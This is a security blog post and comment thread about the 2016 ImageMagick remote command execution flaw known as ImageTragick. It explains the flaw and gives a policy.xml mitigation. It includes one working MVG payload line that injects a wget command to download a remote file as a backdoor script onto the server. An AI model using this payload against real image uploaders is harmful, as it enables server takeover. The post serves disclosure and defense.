ImageMagick Remote Command Execution Vulnerability

ImageMagick is a popular software used to convert, edit and manipulate images. It has libraries for all common programming languages, including PHP, Python, Ruby and many others. It is also very simple to use, which lead it to be used by many developers when in need of image cropping or manipulation.

However, the latest versions of ImageMagick doesn’t properly filter the file names that get passed to the internal delegates that handle external protocols (like HTTPS). This allows an attacker to execute his own commands remotely by uploading an image. This leads to a full RCE (remote command execution) vulnerability in your image uploader. The vulnerability is so serious that researchers created a fun nick name for it which is easier to remember than just CVE-2016-3714: ImageTragick.

Vulnerability Details

Since the initial partial disclosure of this vulnerability our research team has been 100% focused on trying to create a workable proof of concept to understand the exploit and test our own protections against it. After many hours and some great help from the security community, we were able understand the vulnerability enough to create a simple PHP upload tool that uses ImageMagick, and the exploit to compromise it (hat tip to Cosmin, one our developers that help the research team there).

The vulnerability is very simple to exploit, an attacker only needs a image uploader tool that leverages ImageMagick. During our research we found many popular web applications and SaaS products vulnerable to it (people love gravatars), and we have been contacting them privately to get things patched. Unfortunately, even with all the media attention, not everyone is aware of this issue.

Going into a bit more details, this vulnerability can actually be divided in 4 different issues (or maybe 5, depending on who you ask), that is very well explained by Karim Valiev from the Mail.Ru Security Team here. So summarize, this is what we have to be aware:

Remote command execution on .mvg/.svg file uploads. By proving a malicious file, an attacker can force a shell command to be executed on the server. This is a very simple example being shared lately:
```
image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'
```
When that gets added to a MVG file, the wget command is executed and the output of the pastebin file saved on backdoor.pl.
Remote file deletion. When using the “ephemeral:/” protocol, an attacker can remove files on the server
Remote file moving: Similar to the file deletion issue, but when using the “msl:/” pseudo protocol, the attacker can move files around
File content disclosure when using the “label:@” protocol.

When combining all these issues, the attackers have a wide range of options and tools to compromise a web application that leverages ImageMagick. Note that only filtering for MGV extension is not enough, as any file format will be inspected and the command executed.

I suspect a lot more vulnerabilities within ImageMagick will be found soon as more researchers are looking at it.

Also note that the latest signatures set for ModSecurity and others IDS tools do not detect or block this issue. We updated our WAF last night to virtually patch this vulnerability, users behind the Sucuri Firewall are now protected. We also went back looking for previous attacks and we didn’t see any in the wild, yet. That will likely change soon as attackers build their own exploits.

Protection

Users behind our WAF are already protected against this vulnerability, but we still recommend everyone to follow the ImageMagick developers recommendation and edit the /etc/ImageMagick/policy.xml file and disable the processing of MVG, HTTPS, EPHEMERAL, and MSL commands within image files. In the section, add the following lines:

<policymap>
...
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>"

If you can not make those changes, I recommend disabling the image upload functionality for now until you can properly patch. Better safe than sorry.

MirceaBurdusa

Can this vulnerability be exploited on an website where nobody except the administrators can upload images to the servers?
- Daniel Cid
  
  Nope, unless one of the admins try to exploit the site or there is some type of CSRF vuln in there as well.
  - MirceaBurdusa
    
    Well, I was interested only in the websites where only I am administrator. And I don’t think there are CSRF vulnerabilities.
    
    Thank you for your fast response!
    - Daniel Cid
      
      So you are safe. But, still recommend to apply the security patches just in case.
      - MirceaBurdusa
        
        I am using WordPress, so I am waiting for updates from developers, if that’s the case. I just wanted to know if I am safe until those updates hit.
        
        I don’t have an ImageMagik folder in my etc folder on my shared host to apply the protection outlined in this post.
      - cfc
        
        ImageMagick is not part of WordPress, it is a separate piece of software that runs on your server. No update to WordPress is going to be able to address this. You need your server administrator to make changes to the ImageMagick config file, as detailed in the article. If you’re on a shared host, you’ll probably have to take it up with your hosting company’s customer service department and cross your fingers.
      - NonMagicalMagick
        
        Do you know if you need to restart PHP for the policy to update or is it instant?
      - Laurence ‘GreenReaper’ Parry
        
        You should only need to restart PHP if ImageMagick is being used as a library, rather than as a program (e.g. the ‘convert’ command). That said, restarting PHP is typically a quick operation, so unless it’s going to cause a serious performance issue for you (because of cache clearing, for example), I’d say go for it.
      - cfc
        
        Not 100% sure on that, but it likely depends on your server setup and how you’re running PHP. It can’t hurt to restart your web server to be sure, though.
      - Daniel Cid
        
        Yes, you need to restart your webserver (or PHP if you are using php-fpm)
      - MirceaBurdusa
        
        I just contacted the server administrator to see if they know about this and what they did to mitigate this risk. Thank you for your help!
      - Daniel Cid
        
        WordPress has support for it and may use ImageMagick if PHP supports it and GD is disabled. But yes, updating WordPress won’t likely do much.
George Liu

Thanks Daniel 🙂
Brian J King

Just as another note – on my CentOS6 server the ImageMagick policy file appears to be located at /usr/local/etc/ImageMagick-6/policy.xml
Daniel Cid

Great point. We had all 5 in there, but one was not properly encoded. Should be ok now.

thanks!
Kailash

I believe only Linux servers are affected by this vulnerability or do you need to patch Windows servers as well?
- Daniel Cid
  
  I have not tested on Windows to confirm. But if you have ImageMagick running in there, do patch it just in case.
- Talib Mukadam
  
  I have tried to exploit this vulnerability on windows servers and they are also affected.
bugggbear

What about older ImageMagick versions, in concrete 6.2.8 which is shipped with Centos 5.x , and there is no policy.xml at all ?

Skip links

Vulnerability Details

Protection

About Daniel Cid